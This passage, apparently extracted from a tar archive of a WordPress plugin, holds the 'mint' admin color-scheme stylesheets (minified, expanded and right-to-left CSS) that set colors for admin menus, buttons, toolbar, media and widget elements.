a:hover:after{background:#4f6d59}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#4f6d59}.theme-filter.current,.theme-section.current{border-bottom-color:#5fb37c}body.more-filters-opened .more-filters{color:#fff;background-color:#5fb37c}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#4f6d59;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#4f6d59;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}div#wp-responsive-toggle a:before{color:#f1f3f2}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#4f6d59}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#4ca26a}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f1f3f2}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#4f6d59}includes/admin/styles/mint/colors.min.css000066600000025520151771460310014546 0ustar00body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#media-upload a.del-link:hover,.subsubsub a.current:hover,.subsubsub a:hover,div.dashboard-widget-submit input:hover{color:#0096dd}input[type=checkbox]:checked:before{color:#4f6d59}input[type=radio]:checked:before{background:#4f6d59}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}.wp-core-ui .button-primary{background:#4f6d59;border-color:#3a4f41 #2f4035 #2f4035;color:#fff;box-shadow:0 1px 0 #2f4035;text-shadow:0 -1px 1px #2f4035,1px 0 1px #2f4035,0 1px 1px #2f4035,-1px 0 1px #2f4035}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#567560;border-color:#2f4035;color:#fff;box-shadow:0 1px 0 #2f4035}.wp-core-ui .button-primary:focus{box-shadow:inset 0 1px 0 #3a4f41,0 0 2px 1px #33b3db}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#3a4f41;border-color:#2f4035;box-shadow:inset 0 2px 0 #2f4035}.wp-core-ui .button-primary.button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#c7d1ca!important;background:#3e5546!important;border-color:#2f4035!important;text-shadow:none!important}.wp-core-ui .button-primary.button-hero{box-shadow:0 2px 0 #2f4035!important}.wp-core-ui .button-primary.button-hero:active{box-shadow:inset 0 3px 0 #2f4035!important}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#5fb37c}.wp-core-ui .wp-ui-text-primary{color:#5fb37c}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#4f6d59}.wp-core-ui .wp-ui-text-highlight{color:#4f6d59}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#33834e}.wp-core-ui .wp-ui-text-notification{color:#33834e}.wp-core-ui .wp-ui-text-icon{color:#f1f3f2}.wrap .add-new-h2:hover,.wrap .page-title-action:hover{color:#fff;background-color:#5fb37c}.view-switch a.current:before{color:#5fb37c}.view-switch a:hover:before{color:#33834e}#adminmenu,#adminmenuback,#adminmenuwrap{background:#5fb37c}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f1f3f2}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#4f6d59}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap h2 .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{background:#4ca26a}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after{border-right-color:#4ca26a}#adminmenu .wp-submenu .wp-submenu-head{color:#cfe8d8}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a,.folded #adminmenu .wp-has-current-submenu .wp-submenu a{color:#cfe8d8}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover,.folded #adminmenu .wp-has-current-submenu .wp-submenu a:focus,.folded #adminmenu .wp-has-current-submenu .wp-submenu a:hover{color:#4f6d59}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#4f6d59}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#4f6d59}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before,.ie8 #adminmenu li.opensub div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .update-plugins{color:#fff;background:#33834e}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#4ca26a}#collapse-button{color:#f1f3f2}#collapse-button:focus,#collapse-button:hover{color:#4f6d59}#wpadminbar{color:#fff;background:#5fb37c}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f1f3f2}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#4f6d59;background:#4ca26a}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#4f6d59}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#fff}#wpadminbar .menupop .ab-sub-wrapper{background:#4ca26a}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#7eb892}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#cfe8d8}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f1f3f2}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#4f6d59}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#4f6d59}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#f1f3f2}#wpadminbar #adminbarsearch:before{color:#f1f3f2}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#77bf8f}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#77bf8f;background-color:#77bf8f}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#4f6d59}#wpadminbar #wp-admin-bar-user-info .username{color:#cfe8d8}.wp-pointer .wp-pointer-content h3{background-color:#4f6d59;border-color:#455e4d}.wp-pointer .wp-pointer-content h3:before{color:#4f6d59}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#4f6d59}.media-item .bar,.media-progress-bar div{background-color:#4f6d59}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #4f6d59}.attachment.details .check{background-color:#4f6d59;box-shadow:0 0 0 1px #fff,0 0 0 2px #4f6d59}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #4f6d59}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#4f6d59}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#4f6d59}.theme-filter.current,.theme-section.current{border-bottom-color:#5fb37c}body.more-filters-opened .more-filters{color:#fff;background-color:#5fb37c}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#4f6d59;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#4f6d59;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}div#wp-responsive-toggle a:before{color:#f1f3f2}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#4f6d59}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#4ca26a}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f1f3f2}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#4f6d59}includes/admin/styles/mint/colors.css000066600000030710151771460310013761 0ustar00/*
 * Button mixin- creates 3d-ish button effect with correct
 * highlights/shadows, based on a base color.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}

a:hover, a:active, a:focus {
  color: #0096dd;
}

#media-upload a.del-link:hover,
div.dashboard-widget-submit input:hover,
.subsubsub a:hover,
.subsubsub a.current:hover {
  color: #0096dd;
}

/* Forms */
input[type=checkbox]:checked:before {
  color: #4f6d59;
}

input[type=radio]:checked:before {
  background: #4f6d59;
}

.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active {
  color: #0096dd;
}

/* Core UI */
.wp-core-ui .button-primary {
  background: #4f6d59;
  border-color: #3a4f41 #2f4035 #2f4035;
  color: #fff;
  box-shadow: 0 1px 0 #2f4035;
  text-shadow: 0 -1px 1px #2f4035, 1px 0 1px #2f4035, 0 1px 1px #2f4035, -1px 0 1px #2f4035;
}

.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #567560;
  border-color: #2f4035;
  color: #fff;
  box-shadow: 0 1px 0 #2f4035;
}

.wp-core-ui .button-primary:focus {
  box-shadow: inset 0 1px 0 #3a4f41, 0 0 2px 1px #33b3db;
}

.wp-core-ui .button-primary:active, .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #3a4f41;
  border-color: #2f4035;
  box-shadow: inset 0 2px 0 #2f4035;
}

.wp-core-ui .button-primary[disabled], .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.button-primary-disabled, .wp-core-ui .button-primary.disabled {
  color: #c7d1ca !important;
  background: #3e5546 !important;
  border-color: #2f4035 !important;
  text-shadow: none !important;
}

.wp-core-ui .button-primary.button-hero {
  box-shadow: 0 2px 0 #2f4035 !important;
}

.wp-core-ui .button-primary.button-hero:active {
  box-shadow: inset 0 3px 0 #2f4035 !important;
}

.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #5fb37c;
}

.wp-core-ui .wp-ui-text-primary {
  color: #5fb37c;
}

.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #4f6d59;
}

.wp-core-ui .wp-ui-text-highlight {
  color: #4f6d59;
}

.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #33834e;
}

.wp-core-ui .wp-ui-text-notification {
  color: #33834e;
}

.wp-core-ui .wp-ui-text-icon {
  color: #f1f3f2;
}

/* List tables */
.wrap .add-new-h2:hover,
.wrap .page-title-action:hover {
  color: #fff;
  background-color: #5fb37c;
}

.view-switch a.current:before {
  color: #5fb37c;
}

.view-switch a:hover:before {
  color: #33834e;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #5fb37c;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #f1f3f2;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #4f6d59;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap h2 .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #4ca26a;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after {
  border-right-color: #4ca26a;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #cfe8d8;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #cfe8d8;
}

#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a:focus,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #4f6d59;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}

#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #4f6d59;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #4f6d59;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before,
.ie8 #adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #33834e;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #4ca26a;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #f1f3f2;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #4f6d59;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #5fb37c;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #f1f3f2;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #4f6d59;
  background: #4ca26a;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #4f6d59;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #fff;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #4ca26a;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #7eb892;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #cfe8d8;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #f1f3f2;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #4f6d59;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #4f6d59;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #f1f3f2;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #f1f3f2;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #77bf8f;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #77bf8f;
  background-color: #77bf8f;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #4f6d59;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #cfe8d8;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #4f6d59;
  border-color: #455e4d;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #4f6d59;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #4f6d59;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #4f6d59;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #4f6d59;
}

.attachment.details .check {
  background-color: #4f6d59;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #4f6d59;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #4f6d59;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #4f6d59;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #4f6d59;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #5fb37c;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #5fb37c;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #4f6d59;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #4f6d59;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #f1f3f2;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #4f6d59;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #4ca26a;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #f1f3f2;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #4f6d59;
}
includes/admin/styles/mint/colors-rtl.css000066600000030706151771460310014565 0ustar00/*
 * Button mixin- creates 3d-ish button effect with correct
 * highlights/shadows, based on a base color.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}

a:hover, a:active, a:focus {
  color: #0096dd;
}

#media-upload a.del-link:hover,
div.dashboard-widget-submit input:hover,
.subsubsub a:hover,
.subsubsub a.current:hover {
  color: #0096dd;
}

/* Forms */
input[type=checkbox]:checked:before {
  color: #4f6d59;
}

input[type=radio]:checked:before {
  background: #4f6d59;
}

.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active {
  color: #0096dd;
}

/* Core UI */
.wp-core-ui .button-primary {
  background: #4f6d59;
  border-color: #3a4f41 #2f4035 #2f4035;
  color: #fff;
  box-shadow: 0 1px 0 #2f4035;
  text-shadow: 0 -1px 1px #2f4035, -1px 0 1px #2f4035, 0 1px 1px #2f4035, 1px 0 1px #2f4035;
}

.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #567560;
  border-color: #2f4035;
  color: #fff;
  box-shadow: 0 1px 0 #2f4035;
}

.wp-core-ui .button-primary:focus {
  box-shadow: inset 0 1px 0 #3a4f41, 0 0 2px 1px #33b3db;
}

.wp-core-ui .button-primary:active, .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #3a4f41;
  border-color: #2f4035;
  box-shadow: inset 0 2px 0 #2f4035;
}

.wp-core-ui .button-primary[disabled], .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.button-primary-disabled, .wp-core-ui .button-primary.disabled {
  color: #c7d1ca !important;
  background: #3e5546 !important;
  border-color: #2f4035 !important;
  text-shadow: none !important;
}

.wp-core-ui .button-primary.button-hero {
  box-shadow: 0 2px 0 #2f4035 !important;
}

.wp-core-ui .button-primary.button-hero:active {
  box-shadow: inset 0 3px 0 #2f4035 !important;
}

.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #5fb37c;
}

.wp-core-ui .wp-ui-text-primary {
  color: #5fb37c;
}

.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #4f6d59;
}

.wp-core-ui .wp-ui-text-highlight {
  color: #4f6d59;
}

.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #33834e;
}

.wp-core-ui .wp-ui-text-notification {
  color: #33834e;
}

.wp-core-ui .wp-ui-text-icon {
  color: #f1f3f2;
}

/* List tables */
.wrap .add-new-h2:hover,
.wrap .page-title-action:hover {
  color: #fff;
  background-color: #5fb37c;
}

.view-switch a.current:before {
  color: #5fb37c;
}

.view-switch a:hover:before {
  color: #33834e;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #5fb37c;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #f1f3f2;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #4f6d59;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap h2 .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
